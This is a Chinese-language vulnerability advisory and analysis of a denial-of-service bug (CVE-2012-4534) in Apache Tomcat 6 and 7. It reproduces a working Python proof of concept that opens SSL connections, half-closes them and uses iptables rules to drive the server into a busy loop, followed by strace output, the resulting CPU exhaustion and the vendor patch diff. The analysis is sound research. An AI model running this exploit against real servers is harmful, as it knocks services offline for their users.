受影响系统

Apache Group Tomcat 7.0.0 - 7.0.27

Apache Group Tomcat 6.0.0 - 6.0.35

不受影响系统

漏洞简述

Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。

Tomcat 7.0.0-7.0.27、Tomcat 6.0.0-6.0.35在使用开启了sendfile和HTTPS的NIO连接器时，若客户端请求较大的静态文件，并在读取响应的过程中切断与服务器的连接，会在服务器端产生死循环，导致拒绝服务。

漏洞利用方法

|  |
| --- |
| # The way to reproduce the bug in the Tomcat NIO connector.  # Install python-iptables from https://github.com/ldx/python-iptables/downloads  # Author: Dmitry Kukushkin (dmitry.kukushkin at external.telekom.de)  from threading import Thread  from threading import Lock  from socket import \*  from select import \*  from time import \*  from traceback import \*  import ssl  import sys  import iptc  blockedPorts = dict()  getCssRequest = """GET /filehaha HTTP/1.1\r  Host: 10.8.146.92:443\r  User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5\_0\_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9A406\r  Accept: text/css,\*/\*;q=0.1\r  Accept-Language: de-de\r  Accept-Encoding: gzip, deflate\r  Connection: keep-alive\r\n  \r\n  """  class Client(Thread):  def \_\_init\_\_(self, tid, lock):  Thread.\_\_init\_\_(self)  self.lock = lock  self.tid = tid  def run(self):  print "Starting thread %d" % self.tid  try:  clientSocket = socket(AF\_INET, SOCK\_STREAM)  sslSocket = ssl.wrap\_socket(clientSocket)    remoteAddr = ("10.8.146.92", 443)  sslSocket.connect(remoteAddr)  localAddr, localPort = sslSocket.getsockname()  print "New socket created tid=%d, sfd=%d, sport=%d" % ( self.tid, clientSocket.fileno(), localPort )  self.deleteFirewallRule(localPort, self.lock)    sslSocket.send(getCssRequest)  data = sslSocket.recv(1024)  ''' Put the socket into half - closed state '''  clientSocket.shutdown(SHUT\_WR)  clientSocket.close()  self.createFirewallRule(localPort, self.lock)  except Exception, e:  print "Error: ", e  print\_exc()  @staticmethod  def createFirewallRule(port, lock):  lock.acquire()  print "Creating the iptables rule for port %d" % port  rule = iptc.Rule()  rule.protocol = "tcp"  rule.target = iptc.Target(rule, "REJECT")  match = iptc.Match(rule, "tcp")  match.sport = "%s" % port  rule.add\_match(match)    chain = iptc.Chain(iptc.TABLE\_FILTER, "OUTPUT")  chain.insert\_rule(rule)  rule.target.reset()  blockedPorts[port] = rule  lock.release()    @staticmethod  def deleteFirewallRule(port, lock):  lock.acquire()  if port in blockedPorts:  print "Deleteng the iptables rule for port %d" % port  rule = blockedPorts[port]  chain = iptc.Chain(iptc.TABLE\_FILTER, "OUTPUT")  chain.delete\_rule(rule)  chain.flush()  del blockedPorts[port]  lock.release()    if \_\_name\_\_ == "\_\_main\_\_":  if len(sys.argv) == 1 :  print "Problem.py <number of threads>"  exit(0)  clients = []  lock = Lock()  for i in range( int(sys.argv[1]) ):  c = Client(i, lock)  clients.append(c)  c.start()    print "Joining"  for i in clients:  i.join() |

漏洞利用条件及利用方式

服务器或主机安装Tomcat版本为 6.0.0 - 6.0.35以及 7.0.0 -7.0.27,不需要登陆认证。

漏洞利用情况

在安装Tomcat版本为 6.0.0 - 6.0.35以及 7.0.0 -7.0.27前提下，此漏洞利用方法简单，只要满足请求静态的较大文件，并在文件下载连接过程中终止连接即可导致Tomcat拒绝服务

修补情况

厂商补丁：

Apache Group

------------

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://jakarta.apache.org/tomcat/index.html

参考资料

[1] <https://issues.apache.org/bugzilla/show_bug.cgi?id=52858>

[2]<http://packetstormsecurity.org/files/118615/Apache-Tomcat-6.x-7.x-Denial-Of-Service.html>

测试环境搭建

分析漏洞的实验环境：

操作系统: ubuntu 11.04

tomcat版本: 7.0.10

测试过程:

在客户端上执行<https://issues.apache.org/bugzilla/show_bug.cgi?id=52858>上给出的POC

技术细节

漏洞概述:

在使用开启了sendfile和HTTPS的NIO连接器时，若客户端请求较大的静态文件，并

在读取响应的过程中终止与服务器的连接，会在服务器端产生死循环，导致拒绝服务。

分析过程:

查看POC并结合官方补丁来进行

在POC中请求文件大于1024字节后并shutdown了连接，使socket进入半连接状态，从而造成了

|  |
| --- |
| sslSocket.send(getCssRequest)  data = sslSocket.recv(1024) #请求1024字节  ''' Put the socket into half - closed state '''  clientSocket.shutdown(SHUT\_WR) #关闭使socket进入半连接状态  clientSocket.close() |

用strace跟踪运行poc后的系统调用情况:

|  |
| --- |
| sudo strace -f -o strace3101 -p 3101 //3101为tomcat运行进程号 |

截取如下信息

|  |
| --- |
| 3121 write(61, "\\\240\274M\302J\313\33b\323\242\301\_\264\33P\232\336\302\271\235\356\215j\3772\340\272\t\303\33\302"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289444}, NULL) = 0  3121 gettimeofday({1354886731, 289467}, NULL) = 0  3121 write(60, "\352\222\256\32\255\336\24\25\330}\375U;j\234\327\335\2720\203\366\221\363(\345X\36\324V\310\36O"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289525}, NULL) = 0  3121 gettimeofday({1354886731, 289548}, NULL) = 0  3121 write(62, "\257\231\207X.\256\344`\\\327n\300\25{\353\357\350\203\262\363C\335\311\24\373j\225\2\4|s\376"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289606}, NULL) = 0  3121 gettimeofday({1354886731, 289629}, NULL) = 0  3121 write(56, "\373\324X+\7\2iM\370\373\240\306\17\217F\277\242\t\*\337\204\21G\311\24\213\214N4\3073E"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289687}, NULL) = 0  3121 gettimeofday({1354886731, 289711}, NULL) = 0  3121 epoll\_wait(55, {{EPOLLIN, {u32=61, u64=13024703502981529661}}, {EPOLLIN, {u32=56, u64=56}}, {EPOLLIN, {u32=60, u64=60}}, {EPOLLIN, {u32=63, u64=63}}, {EPOLLIN, {u32=59, u64=59}}, {EPOLLIN, {u32=62, u64=13024703434262052926}}}, 4096, 1000) = 6  3121 gettimeofday({1354886731, 289771}, NULL) = 0  3121 gettimeofday({1354886731, 289794}, NULL) = 0  3121 write(63, "\227\5\242\22\300\231\307\376\242p\253n\256G\7\_\36,\323\223\306=J\221xc\33\207+\227\204e"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289852}, NULL) = 0  3121 gettimeofday({1354886731, 289875}, NULL) = 0  3121 write(59, "\366\364\362\*\374H\217\247\33\17\243\_-\354I\365'5\365\266\223\261\"\326\251e\265\370{\0163B"..., 3500) = -1 EAGAIN (Resource temporarily unavailable)  3121 gettimeofday({1354886731, 289937}, NULL) = 0  3121 gettimeofday({1354886731, 289959}, NULL) = 0 |

根据系统调用信息可以知道会有因为把channel中的数据往socket descriptor写并EAGAIN失败，然后又继续去请求EPOLLIN，又尝试写，又EAGAIN，持续轮询，导致拒绝服务

|  |
| --- |
| PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND  2723 root 20 0 411m 40m 10m S 97.3 8.2 0:39.17 java |

官方补丁是如下修改方式:

|  |
| --- |
| --- tomcat/tc7.0.x/trunk/java/org/apache/tomcat/util/net/NioEndpoint.java 2012/05/18 19:27:41 1340217  +++ tomcat/tc7.0.x/trunk/java/org/apache/tomcat/util/net/NioEndpoint.java 2012/05/18 19:28:30 1340218  @@ -1278,9 +1278,13 @@    public boolean processSendfile(SelectionKey sk, KeyAttachment attachment, boolean reg, boolean event) {  NioChannel sc = null;  + if (log.isTraceEnabled()) {  + log.trace("["+new java.sql.Date(System.currentTimeMillis()).toGMTString()+"] Processing send file. ["+sk+"] ");  + }  try {  unreg(sk, attachment, sk.readyOps());  SendfileData sd = attachment.getSendfileData();  + //setup the file channel  if ( sd.fchannel == null ) {  File f = new File(sd.fileName);  if ( !f.exists() ) {  @@ -1289,10 +1293,14 @@  }  sd.fchannel = new FileInputStream(f).getChannel();  }  +  + //configure output channel  sc = attachment.getChannel();  sc.setSendFile(true);  + //ssl channel is slightly different  WritableByteChannel wc = ((sc instanceof SecureNioChannel)?sc:sc.getIOChannel());    + //we still have data in the buffer  if (sc.getOutboundRemaining()>0) {  if (sc.flushOutbound()) {  attachment.access();  @@ -1322,7 +1330,6 @@  } catch (Exception ignore) {  }  if ( sd.keepAlive ) {  - if (reg) {  if (log.isDebugEnabled()) {  log.debug("Connection is keep alive, registering back for OP\_READ");  }  @@ -1331,7 +1338,6 @@  } else {  reg(sk,attachment,SelectionKey.OP\_READ);  }  - }  } else {  if (log.isDebugEnabled()) {  log.debug("Send file connection is being closed");  @@ -1339,7 +1345,7 @@  cancelledKey(sk,SocketStatus.STOP,false);  return false;  }  - } else if ( attachment.interestOps() == 0 && reg ) {  + } else { //if ( attachment.interestOps() == 0 && reg ) {  if (log.isDebugEnabled()) {  log.debug("OP\_WRITE for sendilfe:"+sd.fileName);  } |

补丁中只是简单地去掉了if(reg) 和增加了一些调试打印信息,在buffer中仍然有数据的情况下设置为OP\_READ。防止又去OP\_WRITE造成持续轮询消耗系统资源。

总结: 经过请求下载较大的静态文件并中间终止连接，此时channel中的数据仍然往socket descriptor写并EAGAIN失败，然后又继续去请求EPOLLIN，又尝试写，又EAGAIN，持续轮询，消耗系统资源，从而导致拒绝服务

备注:

SelectionKey中的operation有四种：OP\_READ, OP\_WRITE, OP\_CONNECT, OP\_ACCEPT。这些状态是由主线程告诉给操作系统要进行操作了。例如reg(sk,attachment,SelectionKey.OP\_READ)，这个意思就是告诉操作系统要去socket读取数据了，把读入的数据放入到channel中；reg(sk,attachment,SelectionKey.OP\_WRITE)，就是告诉操作系统现在channel中的数据都已经准备好了，现在可以往客户端写了；同理，OP\_CONNECT和OP\_ACCEPT分别表示结束连接和接受连接。

安装说明:

参考:

http://annegu.iteye.com/blog/413048

http://blog.csdn.net/njchenyi/article/details/6639711

http://archboy.org/2012/02/19/arch-linux-tomcat-6-virtual-host-ssl-https-nio-apr/

protocol一定要填写org.apache.coyote.http11.Http11NioProtocol

http://tomcat.apache.org/tomcat-7.0-doc/ssl-howto.html

Apache Tomcat拒绝服务漏洞(CVE-2012-4534)

http://www.nsfocus.net/vulndb/21392

https://issues.apache.org/bugzilla/show\_bug.cgi?id=52858

http://svn.apache.org/viewvc?view=rev&rev=1340218

http://packetstormsecurity.org/files/118615/Apache-Tomcat-6.x-7.x-Denial-Of-Service.html

http://annegu.iteye.com/blog/413048